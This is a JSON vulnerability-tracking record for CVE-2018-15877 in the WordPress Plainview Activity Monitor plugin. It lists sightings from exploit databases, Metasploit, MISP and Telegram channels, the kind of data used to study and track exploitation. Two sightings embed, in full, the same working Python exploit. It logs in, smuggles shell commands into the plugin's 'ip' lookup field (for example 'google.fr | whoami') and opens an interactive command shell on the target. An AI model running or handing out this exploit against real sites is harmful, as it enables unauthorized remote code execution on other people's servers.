{"vulnerability": "CVE-2018-15877", "sightings": [{"uuid": "d6ea194d-11ae-47b3-a3e2-8575b917d692", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-15877", "type": "exploited", "source": "https://www.exploit-db.com/exploits/45274", "content": "", "creation_timestamp": "2018-08-27T00:00:00.000000Z"}, {"uuid": "d252b208-f0b5-45a8-8689-333dcd3d24ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-15877", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:43.000000Z"}, {"uuid": "ca7415f3-5662-434c-9324-b6dabc466fa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-15877", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:05.000000Z"}, {"uuid": "1f8facc6-4ad1-476b-acb8-32989908d494", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-15877", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/wp_plainview_activity_monitor_rce.rb", "content": "", "creation_timestamp": "2019-11-29T10:20:46.000000Z"}, {"uuid": "69612ead-4cb2-4441-b480-31f0d4d96be6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-15877", "type": "seen", "source": "https://t.me/hacking_Attack/15760", "content": "Exploit Collector\nWordPress Plainview Activity Monitor 20161228 Remote Code Execution\n\nhttps://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png \nWordPress Plainview Activity Monitor plugin version 20161228 authenticated remote code execution exploit.\n\nMD5 | 93650ad2460fe99455fca01d973be3e8\n\nDownload\n# Exploit Title: WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authenticated) (2)\n# Date: 07.07.2021\n# Exploit Author: Beren Kuday GORUN\n# Vendor Homepage: https://wordpress.org/plugins/plainview-activity-monitor/\n# Software Link: https://www.exploit-db.com/apps/2e1f384e5e49ab1d5fbf9eedf64c9a15-plainview-activity-monitor.20161228.zip\n# Version: 20161228 and possibly prior\n# Fixed version: 20180826\n# CVE : CVE-2018-15877\n\n\"\"\"\n-------------------------\nUsage:\n\u250c\u2500\u2500(root@kali)-[~/tools]\n\u2514\u2500# python3 WordPress-Activity-Monitor-RCE.py\nWhat's your target IP?\n192.168.101.28\nWhat's your username?\nmark\nWhat's your password?\npassword123\n[*] Please wait...\n[*] Perfect! \nwww-data@192.168.101.28  whoami\nwww-data\nwww-data@192.168.101.28  pwd\n/var/www/html/wp-admin\nwww-data@192.168.101.28  id\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n\"\"\"\n\nimport requests\nfrom bs4 import BeautifulSoup\n\ndef exploit(whoami, ip):\nwhile 1:\ncmd = input(whoami+\"@\"+ip+\"  \")\nurl = 'http://' + ip + '/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools'\npayload = \"google.com.tr | \" + cmd\ndata = {'ip': payload , 'lookup' : 'lookup' }\nx = requests.post(url, data = data, cookies=getCookie(ip))\nhtml_doc = x.text.split(\"\nOutput from dig: \n\")[1]\nsoup = BeautifulSoup(html_doc, 'html.parser')\nprint(soup.p.text)\n\ndef poc(ip):\nurl = 'http://' + ip + '/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools'\nmyobj = {'ip': 'google.fr | whoami', 'lookup' : 'lookup' }\nx = requests.post(url, data = myobj, cookies=getCookie(ip))\nhtml_doc = x.text.split(\"\nOutput from dig: \n\")[1]\nsoup = BeautifulSoup(html_doc, 'html.parser')\nprint(\"[*] Perfect! \")\nexploit(soup.p.text, ip)\n\ndef getCookie(ip):\nurl = 'http://' + ip + '/wp-login.php'\n#log=admin&pwd=admin&wp-submit=Log+In&redirect_to=http%3A%2F%2Fwordy%2Fwp-admin%2F&testcookie=1\ndata = {'log':username, 'pwd':password, 'wp-submit':'Log In', 'testcookie':'1'}\nx = requests.post(url, data = data)\ncookies = {}\ncookie = str(x.headers[\"Set-Cookie\"])\n\nfor i in cookie.split():\nif(i.find(\"wordpress\") != -1 and i.find(\"=\") != -1):\ncookies[i.split(\"=\")[0]] = i.split(\"=\")[1][:len(i.split(\"=\")[1])-1]\nreturn cookies\n\nip = input(\"What's your target IP?\\n\")\nusername = input(\"What's your username?\\n\")\npassword = input(\"What's your password?\\n\")\nprint(\"[*] Please wait...\")\npoc(ip)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:33.914060Z"}, {"uuid": "8bd1a7e1-ab35-4af2-b6bf-c8bc5417778a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-15877", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/15760", "content": "Exploit Collector\nWordPress Plainview Activity Monitor 20161228 Remote Code Execution\n\nhttps://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png \nWordPress Plainview Activity Monitor plugin version 20161228 authenticated remote code execution exploit.\n\nMD5 | 93650ad2460fe99455fca01d973be3e8\n\nDownload\n# Exploit Title: WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authenticated) (2)\n# Date: 07.07.2021\n# Exploit Author: Beren Kuday GORUN\n# Vendor Homepage: https://wordpress.org/plugins/plainview-activity-monitor/\n# Software Link: https://www.exploit-db.com/apps/2e1f384e5e49ab1d5fbf9eedf64c9a15-plainview-activity-monitor.20161228.zip\n# Version: 20161228 and possibly prior\n# Fixed version: 20180826\n# CVE : CVE-2018-15877\n\n\"\"\"\n-------------------------\nUsage:\n\u250c\u2500\u2500(root@kali)-[~/tools]\n\u2514\u2500# python3 WordPress-Activity-Monitor-RCE.py\nWhat's your target IP?\n192.168.101.28\nWhat's your username?\nmark\nWhat's your password?\npassword123\n[*] Please wait...\n[*] Perfect! \nwww-data@192.168.101.28  whoami\nwww-data\nwww-data@192.168.101.28  pwd\n/var/www/html/wp-admin\nwww-data@192.168.101.28  id\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n\"\"\"\n\nimport requests\nfrom bs4 import BeautifulSoup\n\ndef exploit(whoami, ip):\nwhile 1:\ncmd = input(whoami+\"@\"+ip+\"  \")\nurl = 'http://' + ip + '/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools'\npayload = \"google.com.tr | \" + cmd\ndata = {'ip': payload , 'lookup' : 'lookup' }\nx = requests.post(url, data = data, cookies=getCookie(ip))\nhtml_doc = x.text.split(\"\nOutput from dig: \n\")[1]\nsoup = BeautifulSoup(html_doc, 'html.parser')\nprint(soup.p.text)\n\ndef poc(ip):\nurl = 'http://' + ip + '/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools'\nmyobj = {'ip': 'google.fr | whoami', 'lookup' : 'lookup' }\nx = requests.post(url, data = myobj, cookies=getCookie(ip))\nhtml_doc = x.text.split(\"\nOutput from dig: \n\")[1]\nsoup = BeautifulSoup(html_doc, 'html.parser')\nprint(\"[*] Perfect! \")\nexploit(soup.p.text, ip)\n\ndef getCookie(ip):\nurl = 'http://' + ip + '/wp-login.php'\n#log=admin&pwd=admin&wp-submit=Log+In&redirect_to=http%3A%2F%2Fwordy%2Fwp-admin%2F&testcookie=1\ndata = {'log':username, 'pwd':password, 'wp-submit':'Log In', 'testcookie':'1'}\nx = requests.post(url, data = data)\ncookies = {}\ncookie = str(x.headers[\"Set-Cookie\"])\n\nfor i in cookie.split():\nif(i.find(\"wordpress\") != -1 and i.find(\"=\") != -1):\ncookies[i.split(\"=\")[0]] = i.split(\"=\")[1][:len(i.split(\"=\")[1])-1]\nreturn cookies\n\nip = input(\"What's your target IP?\\n\")\nusername = input(\"What's your username?\\n\")\npassword = input(\"What's your password?\\n\")\nprint(\"[*] Please wait...\")\npoc(ip)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-08T00:00:07.728784Z"}, {"uuid": "a4be0b28-9caa-4f86-a02c-3e6d7b9de4ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-15877", "type": "seen", "source": "https://t.me/GithubRedTeam/103349", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp-plainview-auth-RCE-broken-cookie-to-session-fix\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a firasotoom85-droid\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-25 14:04:24\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWP Plainview Activity Monitor auth RCE fix: broken manual cookie parse to stable Session handling. CVE-2018-15877 educational fix.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-25T14:06:17.000000Z"}, {"uuid": "e76df7fe-1666-4934-ac22-1e071a620a56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-15877", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/103349", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp-plainview-auth-RCE-broken-cookie-to-session-fix\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a firasotoom85-droid\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-25 14:04:24\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWP Plainview Activity Monitor auth RCE fix: broken manual cookie parse to stable Session handling. CVE-2018-15877 educational fix.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-25T14:06:17.000000Z"}, {"uuid": "e5ef740f-0e9a-4319-a51e-696514851da2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-15877", "type": "published-proof-of-concept", "source": "Telegram/81ZxAi3drt5TdyCoeDwTgAnR6u7IKZ42DhAcDrRYmOpRijY", "content": "", "creation_timestamp": "2026-09-26T03:00:05.000000Z"}]}